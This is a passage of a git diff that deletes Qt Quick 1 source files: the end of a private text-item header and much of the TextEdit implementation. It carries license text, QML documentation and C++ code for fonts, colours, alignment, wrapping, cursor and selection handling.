$QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXT_P_H -#define QDECLARATIVETEXT_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qdeclarativeitem.h" -#include "private/qdeclarativeimplicitsizeitem_p_p.h" -#include "QtQuick1/private/qdeclarativetextlayout_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - -class QTextLayout; -class QTextDocumentWithImageResources_1; - -class Q_AUTOTEST_EXPORT QDeclarative1TextPrivate : public QDeclarative1ImplicitSizeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Text) -public: - QDeclarative1TextPrivate(); - - ~QDeclarative1TextPrivate(); - - void updateSize(); - void updateLayout(); - bool determineHorizontalAlignment(); - bool setHAlign(QDeclarative1Text::HAlignment, bool forceAlign = false); - void mirrorChange(); - QTextDocument *textDocument(); - - QString text; - QFont font; - QFont sourceFont; - QColor color; - QDeclarative1Text::TextStyle style; - QColor styleColor; - QString activeLink; - QDeclarative1Text::HAlignment hAlign; - QDeclarative1Text::VAlignment vAlign; - QDeclarative1Text::TextElideMode elideMode; - QDeclarative1Text::TextFormat format; - QDeclarative1Text::WrapMode wrapMode; - qreal lineHeight; - QDeclarative1Text::LineHeightMode lineHeightMode; - int lineCount; - bool truncated; - int maximumLineCount; - int maximumLineCountValid; - QPointF elidePos; - - static QString elideChar; - - void invalidateImageCache(); - void checkImageCache(); - QPixmap imageCache; - - bool imageCacheDirty:1; - bool updateOnComponentComplete:1; - bool richText:1; - bool singleline:1; - bool cacheAllTextAsImage:1; - bool internalWidthUpdate:1; - bool requireImplicitWidth:1; - bool hAlignImplicit:1; - bool rightToLeftText:1; - bool layoutTextElided:1; - - QRect layedOutTextRect; - QSize paintedSize; - qreal naturalWidth; - virtual qreal implicitWidth() const; - void ensureDoc(); - QPixmap textDocumentImage(bool drawStyle); - QTextDocumentWithImageResources_1 *doc; - - QRect setupTextLayout(); - QPixmap textLayoutImage(bool drawStyle); - void drawTextLayout(QPainter *p, const QPointF &pos, bool drawStyle); - QDeclarative1TextLayout layout; - - static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource); - static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource, int yOffset); - - static inline QDeclarative1TextPrivate *get(QDeclarative1Text *t) { - return t->d_func(); - } -}; - -QT_END_NAMESPACE -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativetextedit.cpp b/src/qtquick1/graphicsitems/qdeclarativetextedit.cpp deleted file mode 100644 index b0c9a0a8ed..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextedit.cpp +++ /dev/null @@ -1,1885 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "private/qdeclarativetextedit_p.h" -#include "private/qdeclarativetextedit_p_p.h" - -#include "private/qdeclarativeevents_p_p.h" -#include -#include - -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass TextEdit QDeclarative1TextEdit - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The TextEdit item displays multiple lines of editable formatted text. - \inherits Item - - The TextEdit item displays a block of editable, formatted text. - - It can display both plain and rich text. For example: - - \qml -TextEdit { - width: 240 - text: "Hello World!" - font.family: "Helvetica" - font.pointSize: 20 - color: "blue" - focus: true -} - \endqml - - \image declarative-textedit.gif - - Setting \l {Item::focus}{focus} to \c true enables the TextEdit item to receive keyboard focus. - - Note that the TextEdit does not implement scrolling, following the cursor, or other behaviors specific - to a look-and-feel. For example, to add flickable scrolling that follows the cursor: - - \snippet snippets/declarative/texteditor.qml 0 - - A particular look-and-feel might use smooth scrolling (eg. using SmoothedFollow), might have a visible - scrollbar, or a scrollbar that fades in to show location, etc. - - Clipboard support is provided by the cut(), copy(), and paste() functions, and the selection can - be handled in a traditional "mouse" mechanism by setting selectByMouse, or handled completely - from QML by manipulating selectionStart and selectionEnd, or using selectAll() or selectWord(). - - You can translate between cursor positions (characters from the start of the document) and pixel - points using positionAt() and positionToRectangle(). - - \sa Text, TextInput, {declarative/text/textselection}{Text Selection example} -*/ - -/*! - \qmlsignal QtQuick1::TextEdit::onLinkActivated(string link) - \since Quick 1.1 - - This handler is called when the user clicks on a link embedded in the text. - The link must be in rich text or HTML format and the - \a link string provides access to the particular link. -*/ -QDeclarative1TextEdit::QDeclarative1TextEdit(QDeclarativeItem *parent) -: QDeclarative1ImplicitSizePaintedItem(*(new QDeclarative1TextEditPrivate), parent) -{ - Q_D(QDeclarative1TextEdit); - d->init(); -} - -QString QDeclarative1TextEdit::text() const -{ - Q_D(const QDeclarative1TextEdit); - -#ifndef QT_NO_TEXTHTMLPARSER - if (d->richText) - return d->control->toHtml(); - else -#endif - return d->control->toPlainText(); -} - -/*! - \qmlproperty string QtQuick1::TextEdit::font.family - - Sets the family name of the font. - - The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]". - If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen. - If the family isn't available a family will be set using the font matching algorithm. -*/ - -/*! - \qmlproperty bool QtQuick1::TextEdit::font.bold - - Sets whether the font weight is bold. -*/ - -/*! - \qmlproperty enumeration QtQuick1::TextEdit::font.weight - - Sets the font's weight. - - The weight can be one of: - \list - \o Font.Light - \o Font.Normal - the default - \o Font.DemiBold - \o Font.Bold - \o Font.Black - \endlist - - \qml - TextEdit { text: "Hello"; font.weight: Font.DemiBold } - \endqml -*/ - -/*! - \qmlproperty bool QtQuick1::TextEdit::font.italic - - Sets whether the font has an italic style. -*/ - -/*! - \qmlproperty bool QtQuick1::TextEdit::font.underline - - Sets whether the text is underlined. -*/ - -/*! - \qmlproperty bool QtQuick1::TextEdit::font.strikeout - - Sets whether the font has a strikeout style. -*/ - -/*! - \qmlproperty real QtQuick1::TextEdit::font.pointSize - - Sets the font size in points. The point size must be greater than zero. -*/ - -/*! - \qmlproperty int QtQuick1::TextEdit::font.pixelSize - - Sets the font size in pixels. - - Using this function makes the font device dependent. Use - \l{TextEdit::font.pointSize} to set the size of the font in a - device independent manner. -*/ - -/*! - \qmlproperty real QtQuick1::TextEdit::font.letterSpacing - - Sets the letter spacing for the font. - - Letter spacing changes the default spacing between individual letters in the font. - A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing. -*/ - -/*! - \qmlproperty real QtQuick1::TextEdit::font.wordSpacing - - Sets the word spacing for the font. - - Word spacing changes the default spacing between individual words. - A positive value increases the word spacing by a corresponding amount of pixels, - while a negative value decreases the inter-word spacing accordingly. -*/ - -/*! - \qmlproperty enumeration QtQuick1::TextEdit::font.capitalization - - Sets the capitalization for the text. - - \list - \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied. - \o Font.AllUppercase - This alters the text to be rendered in all uppercase type. - \o Font.AllLowercase - This alters the text to be rendered in all lowercase type. - \o Font.SmallCaps - This alters the text to be rendered in small-caps type. - \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character. - \endlist - - \qml - TextEdit { text: "Hello"; font.capitalization: Font.AllLowercase } - \endqml -*/ - -/*! - \qmlproperty string QtQuick1::TextEdit::text - - The text to display. If the text format is AutoText the text edit will - automatically determine whether the text should be treated as - rich text. This determination is made using Qt::mightBeRichText(). -*/ -void QDeclarative1TextEdit::setText(const QString &text) -{ - Q_D(QDeclarative1TextEdit); - if (QDeclarative1TextEdit::text() == text) - return; - - d->richText = d->format == RichText || (d->format == AutoText && Qt::mightBeRichText(text)); - if (d->richText) { -#ifndef QT_NO_TEXTHTMLPARSER - d->control->setHtml(text); -#else - d->control->setPlainText(text); -#endif - } else { - d->control->setPlainText(text); - } - q_textChanged(); -} - -/*! - \qmlproperty enumeration QtQuick1::TextEdit::textFormat - - The way the text property should be displayed. - - \list - \o TextEdit.AutoText - \o TextEdit.PlainText - \o TextEdit.RichText - \endlist - - The default is TextEdit.AutoText. If the text format is TextEdit.AutoText the text edit - will automatically determine whether the text should be treated as - rich text. This determination is made using Qt::mightBeRichText(). - - \table - \row - \o - \qml -Column { - TextEdit { - font.pointSize: 24 - text: "Hello World!" - } - TextEdit { - font.pointSize: 24 - textFormat: TextEdit.RichText - text: "Hello World!" - } - TextEdit { - font.pointSize: 24 - textFormat: TextEdit.PlainText - text: "Hello World!" - } -} - \endqml - \o \image declarative-textformat.png - \endtable -*/ -QDeclarative1TextEdit::TextFormat QDeclarative1TextEdit::textFormat() const -{ - Q_D(const QDeclarative1TextEdit); - return d->format; -} - -void QDeclarative1TextEdit::setTextFormat(TextFormat format) -{ - Q_D(QDeclarative1TextEdit); - if (format == d->format) - return; - bool wasRich = d->richText; - d->richText = format == RichText || (format == AutoText && Qt::mightBeRichText(d->text)); - - if (wasRich && !d->richText) { - d->control->setPlainText(d->text); - updateSize(); - } else if (!wasRich && d->richText) { -#ifndef QT_NO_TEXTHTMLPARSER - d->control->setHtml(d->text); -#else - d->control->setPlainText(d->text); -#endif - updateSize(); - } - d->format = format; - d->control->setAcceptRichText(d->format != PlainText); - emit textFormatChanged(d->format); -} - -QFont QDeclarative1TextEdit::font() const -{ - Q_D(const QDeclarative1TextEdit); - return d->sourceFont; -} - -void QDeclarative1TextEdit::setFont(const QFont &font) -{ - Q_D(QDeclarative1TextEdit); - if (d->sourceFont == font) - return; - - d->sourceFont = font; - QFont oldFont = d->font; - d->font = font; - if (d->font.pointSizeF() != -1) { - // 0.5pt resolution - qreal size = qRound(d->font.pointSizeF()*2.0); - d->font.setPointSizeF(size/2.0); - } - - if (oldFont != d->font) { - clearCache(); - d->document->setDefaultFont(d->font); - if(d->cursor){ - d->cursor->setHeight(QFontMetrics(d->font).height()); - moveCursorDelegate(); - } - updateSize(); - update(); - } - emit fontChanged(d->sourceFont); -} - -/*! - \qmlproperty color QtQuick1::TextEdit::color - - The text color. - - \qml - // green text using hexadecimal notation - TextEdit { color: "#00FF00" } - \endqml - - \qml - // steelblue text using SVG color name - TextEdit { color: "steelblue" } - \endqml -*/ -QColor QDeclarative1TextEdit::color() const -{ - Q_D(const QDeclarative1TextEdit); - return d->color; -} - -void QDeclarative1TextEdit::setColor(const QColor &color) -{ - Q_D(QDeclarative1TextEdit); - if (d->color == color) - return; - - clearCache(); - d->color = color; - QPalette pal = d->control->palette(); - pal.setColor(QPalette::Text, color); - d->control->setPalette(pal); - update(); - emit colorChanged(d->color); -} - -/*! - \qmlproperty color QtQuick1::TextEdit::selectionColor - - The text highlight color, used behind selections. -*/ -QColor QDeclarative1TextEdit::selectionColor() const -{ - Q_D(const QDeclarative1TextEdit); - return d->selectionColor; -} - -void QDeclarative1TextEdit::setSelectionColor(const QColor &color) -{ - Q_D(QDeclarative1TextEdit); - if (d->selectionColor == color) - return; - - clearCache(); - d->selectionColor = color; - QPalette pal = d->control->palette(); - pal.setColor(QPalette::Highlight, color); - d->control->setPalette(pal); - update(); - emit selectionColorChanged(d->selectionColor); -} - -/*! - \qmlproperty color QtQuick1::TextEdit::selectedTextColor - - The selected text color, used in selections. -*/ -QColor QDeclarative1TextEdit::selectedTextColor() const -{ - Q_D(const QDeclarative1TextEdit); - return d->selectedTextColor; -} - -void QDeclarative1TextEdit::setSelectedTextColor(const QColor &color) -{ - Q_D(QDeclarative1TextEdit); - if (d->selectedTextColor == color) - return; - - clearCache(); - d->selectedTextColor = color; - QPalette pal = d->control->palette(); - pal.setColor(QPalette::HighlightedText, color); - d->control->setPalette(pal); - update(); - emit selectedTextColorChanged(d->selectedTextColor); -} - -/*! - \qmlproperty enumeration QtQuick1::TextEdit::horizontalAlignment - \qmlproperty enumeration QtQuick1::TextEdit::verticalAlignment - \qmlproperty enumeration QtQuick1::TextEdit::effectiveHorizontalAlignment - - Sets the horizontal and vertical alignment of the text within the TextEdit item's - width and height. By default, the text alignment follows the natural alignment - of the text, for example text that is read from left to right will be aligned to - the left. - - Valid values for \c horizontalAlignment are: - \list - \o TextEdit.AlignLeft (default) - \o TextEdit.AlignRight - \o TextEdit.AlignHCenter - \o TextEdit.AlignJustify - \endlist - - Valid values for \c verticalAlignment are: - \list - \o TextEdit.AlignTop (default) - \o TextEdit.AlignBottom - \o TextEdit.AlignVCenter - \endlist - - When using the attached property LayoutMirroring::enabled to mirror application - layouts, the horizontal alignment of text will also be mirrored. However, the property - \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment - of TextEdit, use the read-only property \c effectiveHorizontalAlignment. -*/ -QDeclarative1TextEdit::HAlignment QDeclarative1TextEdit::hAlign() const -{ - Q_D(const QDeclarative1TextEdit); - return d->hAlign; -} - -void QDeclarative1TextEdit::setHAlign(HAlignment align) -{ - Q_D(QDeclarative1TextEdit); - bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror; - d->hAlignImplicit = false; - if (d->setHAlign(align, forceAlign) && isComponentComplete()) { - d->updateDefaultTextOption(); - updateSize(); - } -} - -void QDeclarative1TextEdit::resetHAlign() -{ - Q_D(QDeclarative1TextEdit); - d->hAlignImplicit = true; - if (d->determineHorizontalAlignment() && isComponentComplete()) { - d->updateDefaultTextOption(); - updateSize(); - } -} - -QDeclarative1TextEdit::HAlignment QDeclarative1TextEdit::effectiveHAlign() const -{ - Q_D(const QDeclarative1TextEdit); - QDeclarative1TextEdit::HAlignment effectiveAlignment = d->hAlign; - if (!d->hAlignImplicit && d->effectiveLayoutMirror) { - switch (d->hAlign) { - case QDeclarative1TextEdit::AlignLeft: - effectiveAlignment = QDeclarative1TextEdit::AlignRight; - break; - case QDeclarative1TextEdit::AlignRight: - effectiveAlignment = QDeclarative1TextEdit::AlignLeft; - break; - default: - break; - } - } - return effectiveAlignment; -} - -bool QDeclarative1TextEditPrivate::setHAlign(QDeclarative1TextEdit::HAlignment alignment, bool forceAlign) -{ - Q_Q(QDeclarative1TextEdit); - if (hAlign != alignment || forceAlign) { - QDeclarative1TextEdit::HAlignment oldEffectiveHAlign = q->effectiveHAlign(); - hAlign = alignment; - emit q->horizontalAlignmentChanged(alignment); - if (oldEffectiveHAlign != q->effectiveHAlign()) - emit q->effectiveHorizontalAlignmentChanged(); - return true; - } - return false; -} - -bool QDeclarative1TextEditPrivate::determineHorizontalAlignment() -{ - Q_Q(QDeclarative1TextEdit); - if (hAlignImplicit && q->isComponentComplete()) { - bool alignToRight; - if (text.isEmpty()) { - QTextCursor cursor = control->textCursor(); - const QString preeditText = cursor.block().isValid() - ? control->textCursor().block().layout()->preeditAreaText() - : QString(); - alignToRight = preeditText.isEmpty() - ? qApp->inputPanel()->inputDirection() == Qt::RightToLeft - : preeditText.isRightToLeft(); - } else { - alignToRight = rightToLeftText; - } - return setHAlign(alignToRight ? QDeclarative1TextEdit::AlignRight : QDeclarative1TextEdit::AlignLeft); - } - return false; -} - -void QDeclarative1TextEditPrivate::mirrorChange() -{ - Q_Q(QDeclarative1TextEdit); - if (q->isComponentComplete()) { - if (!hAlignImplicit && (hAlign == QDeclarative1TextEdit::AlignRight || hAlign == QDeclarative1TextEdit::AlignLeft)) { - updateDefaultTextOption(); - q->updateSize(); - emit q->effectiveHorizontalAlignmentChanged(); - } - } -} - -QDeclarative1TextEdit::VAlignment QDeclarative1TextEdit::vAlign() const -{ - Q_D(const QDeclarative1TextEdit); - return d->vAlign; -} - -void QDeclarative1TextEdit::setVAlign(QDeclarative1TextEdit::VAlignment alignment) -{ - Q_D(QDeclarative1TextEdit); - if (alignment == d->vAlign) - return; - d->vAlign = alignment; - d->updateDefaultTextOption(); - updateSize(); - moveCursorDelegate(); - emit verticalAlignmentChanged(d->vAlign); -} - -/*! - \qmlproperty enumeration QtQuick1::TextEdit::wrapMode - - Set this property to wrap the text to the TextEdit item's width. - The text will only wrap if an explicit width has been set. - - \list - \o TextEdit.NoWrap - no wrapping will be performed. If the text contains insufficient newlines, then implicitWidth will exceed a set width. - \o TextEdit.WordWrap - wrapping is done on word boundaries only. If a word is too long, implicitWidth will exceed a set width. - \o TextEdit.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word. - \o TextEdit.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word. - \endlist - - The default is TextEdit.NoWrap. If you set a width, consider using TextEdit.Wrap. -*/ -QDeclarative1TextEdit::WrapMode QDeclarative1TextEdit::wrapMode() const -{ - Q_D(const QDeclarative1TextEdit); - return d->wrapMode; -} - -void QDeclarative1TextEdit::setWrapMode(WrapMode mode) -{ - Q_D(QDeclarative1TextEdit); - if (mode == d->wrapMode) - return; - d->wrapMode = mode; - d->updateDefaultTextOption(); - updateSize(); - emit wrapModeChanged(); -} - -/*! - \qmlproperty int QtQuick1::TextEdit::lineCount - \since Quick 1.1 - - Returns the total number of lines in the textEdit item. -*/ -int QDeclarative1TextEdit::lineCount() const -{ - Q_D(const QDeclarative1TextEdit); - return d->lineCount; -} - -/*! - \qmlproperty real QtQuick1::TextEdit::paintedWidth - - Returns the width of the text, including the width past the width - which is covered due to insufficient wrapping if \l wrapMode is set. -*/ -qreal QDeclarative1TextEdit::paintedWidth() const -{ - Q_D(const QDeclarative1TextEdit); - return d->paintedSize.width(); -} - -/*! - \qmlproperty real QtQuick1::TextEdit::paintedHeight - - Returns the height of the text, including the height past the height - that is covered if the text does not fit within the set height. -*/ -qreal QDeclarative1TextEdit::paintedHeight() const -{ - Q_D(const QDeclarative1TextEdit); - return d->paintedSize.height(); -} - -/*! - \qmlmethod rectangle QtQuick1::TextEdit::positionToRectangle(position) - - Returns the rectangle at the given \a position in the text. The x, y, - and height properties correspond to the cursor that would describe - that position. -*/ -QRectF QDeclarative1TextEdit::positionToRectangle(int pos) const -{ - Q_D(const QDeclarative1TextEdit); - QTextCursor c(d->document); - c.setPosition(pos); - return d->control->cursorRect(c); - -} - -/*! - \qmlmethod int QtQuick1::TextEdit::positionAt(int x, int y) - - Returns the text position closest to pixel position (\a x, \a y). - - Position 0 is before the first character, position 1 is after the first character - but before the second, and so on until position \l {text}.length, which is after all characters. -*/ -int QDeclarative1TextEdit::positionAt(int x, int y) const -{ - Q_D(const QDeclarative1TextEdit); - int r = d->document->documentLayout()->hitTest(QPoint(x,y-d->yoff), Qt::FuzzyHit); - QTextCursor cursor = d->control->textCursor(); - if (r > cursor.position()) { - // The cursor position includes positions within the preedit text, but only positions in the - // same text block are offset so it is possible to get a position that is either part of the - // preedit or the next text block. - QTextLayout *layout = cursor.block().layout(); - const int preeditLength = layout - ? layout->preeditAreaText().length() - : 0; - if (preeditLength > 0 - && d->document->documentLayout()->blockBoundingRect(cursor.block()).contains(x,y-d->yoff)) { - r = r > cursor.position() + preeditLength - ? r - preeditLength - : cursor.position(); - } - } - return r; -} - -void QDeclarative1TextEdit::moveCursorSelection(int pos) -{ - //Note that this is the same as setCursorPosition but with the KeepAnchor flag set - Q_D(QDeclarative1TextEdit); - QTextCursor cursor = d->control->textCursor(); - if (cursor.position() == pos) - return; - cursor.setPosition(pos, QTextCursor::KeepAnchor); - d->control->setTextCursor(cursor); -} - -/*! - \qmlmethod void QtQuick1::TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters) - \since Quick 1.1 - - Moves the cursor to \a position and updates the selection according to the optional \a mode - parameter. (To only move the cursor, set the \l cursorPosition property.) - - When this method is called it additionally sets either the - selectionStart or the selectionEnd (whichever was at the previous cursor position) - to the specified position. This allows you to easily extend and contract the selected - text range. - - The selection mode specifies whether the selection is updated on a per character or a per word - basis. If not specified the selection mode will default to TextEdit.SelectCharacters. - - \list - \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at - the previous cursor position) to the specified position. - \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all - words between the specified postion and the previous cursor position. Words partially in the - range are included. - \endlist - - For example, take this sequence of calls: - - \code - cursorPosition = 5 - moveCursorSelection(9, TextEdit.SelectCharacters) - moveCursorSelection(7, TextEdit.SelectCharacters) - \endcode - - This moves the cursor to position 5, extend the selection end from 5 to 9 - and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 - selected (the 6th and 7th characters). - - The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary - before or on position 5 and extend the selection end to a word boundary on or past position 9. -*/ -void QDeclarative1TextEdit::moveCursorSelection(int pos, SelectionMode mode) -{ - Q_D(QDeclarative1TextEdit); - QTextCursor cursor = d->control->textCursor(); - if (cursor.position() == pos) - return; - if (mode == SelectCharacters) { - cursor.setPosition(pos, QTextCursor::KeepAnchor); - } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) { - if (cursor.anchor() > cursor.position()) { - cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); - cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); - if (cursor.position() == cursor.anchor()) - cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor); - else - cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor); - } else { - cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); - cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor); - } - - cursor.setPosition(pos, QTextCursor::KeepAnchor); - cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); - if (cursor.position() != pos) - cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); - } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) { - if (cursor.anchor() < cursor.position()) { - cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); - cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); - } else { - cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); - cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor); - cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); - if (cursor.position() != cursor.anchor()) { - cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor); - cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor); - } - } - - cursor.setPosition(pos, QTextCursor::KeepAnchor); - cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor); - if (cursor.position() != pos) { - cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor); - cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor); - } - } - d->control->setTextCursor(cursor); -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::cursorVisible - If true the text edit shows a cursor. - - This property is set and unset when the text edit gets active focus, but it can also - be set directly (useful, for example, if a KeyProxy might forward keys to it). -*/ -bool QDeclarative1TextEdit::isCursorVisible() const -{ - Q_D(const QDeclarative1TextEdit); - return d->cursorVisible; -} - -void QDeclarative1TextEdit::setCursorVisible(bool on) -{ - Q_D(QDeclarative1TextEdit); - if (d->cursorVisible == on) - return; - d->cursorVisible = on; - QFocusEvent focusEvent(on ? QEvent::FocusIn : QEvent::FocusOut); - if (!on && !d->persistentSelection) - d->control->setCursorIsFocusIndicator(true); - d->control->processEvent(&focusEvent, QPointF(0, -d->yoff)); - emit cursorVisibleChanged(d->cursorVisible); -} - -/*! - \qmlproperty int QtQuick1::TextEdit::cursorPosition - The position of the cursor in the TextEdit. -*/ -int QDeclarative1TextEdit::cursorPosition() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->textCursor().position(); -} - -void QDeclarative1TextEdit::setCursorPosition(int pos) -{ - Q_D(QDeclarative1TextEdit); - if (pos < 0 || pos > d->text.length()) - return; - QTextCursor cursor = d->control->textCursor(); - if (cursor.position() == pos && cursor.anchor() == pos) - return; - cursor.setPosition(pos); - d->control->setTextCursor(cursor); -} - -/*! - \qmlproperty Component QtQuick1::TextEdit::cursorDelegate - The delegate for the cursor in the TextEdit. - - If you set a cursorDelegate for a TextEdit, this delegate will be used for - drawing the cursor instead of the standard cursor. An instance of the - delegate will be created and managed by the text edit when a cursor is - needed, and the x and y properties of delegate instance will be set so as - to be one pixel before the top left of the current character. - - Note that the root item of the delegate component must be a QDeclarativeItem or - QDeclarativeItem derived item. -*/ -QDeclarativeComponent* QDeclarative1TextEdit::cursorDelegate() const -{ - Q_D(const QDeclarative1TextEdit); - return d->cursorComponent; -} - -void QDeclarative1TextEdit::setCursorDelegate(QDeclarativeComponent* c) -{ - Q_D(QDeclarative1TextEdit); - if(d->cursorComponent){ - if(d->cursor){ - d->control->setCursorWidth(-1); - dirtyCache(cursorRectangle()); - delete d->cursor; - d->cursor = 0; - } - } - d->cursorComponent = c; - if(c && c->isReady()){ - loadCursorDelegate(); - }else{ - if(c) - connect(c, SIGNAL(statusChanged()), - this, SLOT(loadCursorDelegate())); - } - - emit cursorDelegateChanged(); -} - -void QDeclarative1TextEdit::loadCursorDelegate() -{ - Q_D(QDeclarative1TextEdit); - if(d->cursorComponent->isLoading()) - return; - d->cursor = qobject_cast(d->cursorComponent->create(qmlContext(this))); - if(d->cursor){ - d->control->setCursorWidth(0); - dirtyCache(cursorRectangle()); - QDeclarative_setParent_noEvent(d->cursor, this); - d->cursor->setParentItem(this); - d->cursor->setHeight(QFontMetrics(d->font).height()); - moveCursorDelegate(); - }else{ - qmlInfo(this) << "Error loading cursor delegate."; - } -} - -/*! - \qmlproperty int QtQuick1::TextEdit::selectionStart - - The cursor position before the first character in the current selection. - - This property is read-only. To change the selection, use select(start,end), - selectAll(), or selectWord(). - - \sa selectionEnd, cursorPosition, selectedText -*/ -int QDeclarative1TextEdit::selectionStart() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->textCursor().selectionStart(); -} - -/*! - \qmlproperty int QtQuick1::TextEdit::selectionEnd - - The cursor position after the last character in the current selection. - - This property is read-only. To change the selection, use select(start,end), - selectAll(), or selectWord(). - - \sa selectionStart, cursorPosition, selectedText -*/ -int QDeclarative1TextEdit::selectionEnd() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->textCursor().selectionEnd(); -} - -/*! - \qmlproperty string QtQuick1::TextEdit::selectedText - - This read-only property provides the text currently selected in the - text edit. - - It is equivalent to the following snippet, but is faster and easier - to use. - \code - //myTextEdit is the id of the TextEdit - myTextEdit.text.toString().substring(myTextEdit.selectionStart, - myTextEdit.selectionEnd); - \endcode -*/ -QString QDeclarative1TextEdit::selectedText() const -{ - Q_D(const QDeclarative1TextEdit); - return d->control->textCursor().selectedText(); -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::activeFocusOnPress - - Whether the TextEdit should gain active focus on a mouse press. By default this is - set to true. -*/ -bool QDeclarative1TextEdit::focusOnPress() const -{ - Q_D(const QDeclarative1TextEdit); - return d->focusOnPress; -} - -void QDeclarative1TextEdit::setFocusOnPress(bool on) -{ - Q_D(QDeclarative1TextEdit); - if (d->focusOnPress == on) - return; - d->focusOnPress = on; - emit activeFocusOnPressChanged(d->focusOnPress); -} - -/*! - \qmlproperty bool QtQuick1::TextEdit::persistentSelection - - Whether the TextEdit should keep the selection visible when it loses active focus to another - item in the scene. By default this is set to true; -*/ -bool QDeclarative1TextEdit::persistentSelection() const -{ - Q_D(const QDeclarative1TextEdit); - return d->persistentSelection; -} - -void QDeclarative1TextEdit::setPersistentSelection(bool on) -{ - Q_D(QDeclarative1TextEdit); - if (d->persistentSelection == on) - return; - d->persistentSelection = on; - emit persistentSelectionChanged(d->persistentSelection); -} - -/* - \qmlproperty real QtQuick1::TextEdit::textMargin - - The margin, in pixels, around the text in the TextEdit. -*/ -qreal QDeclarative1TextEdit::textMargin() const -{ - Q_D(const QDeclarative1TextEdit); - return d->textMargin; -} 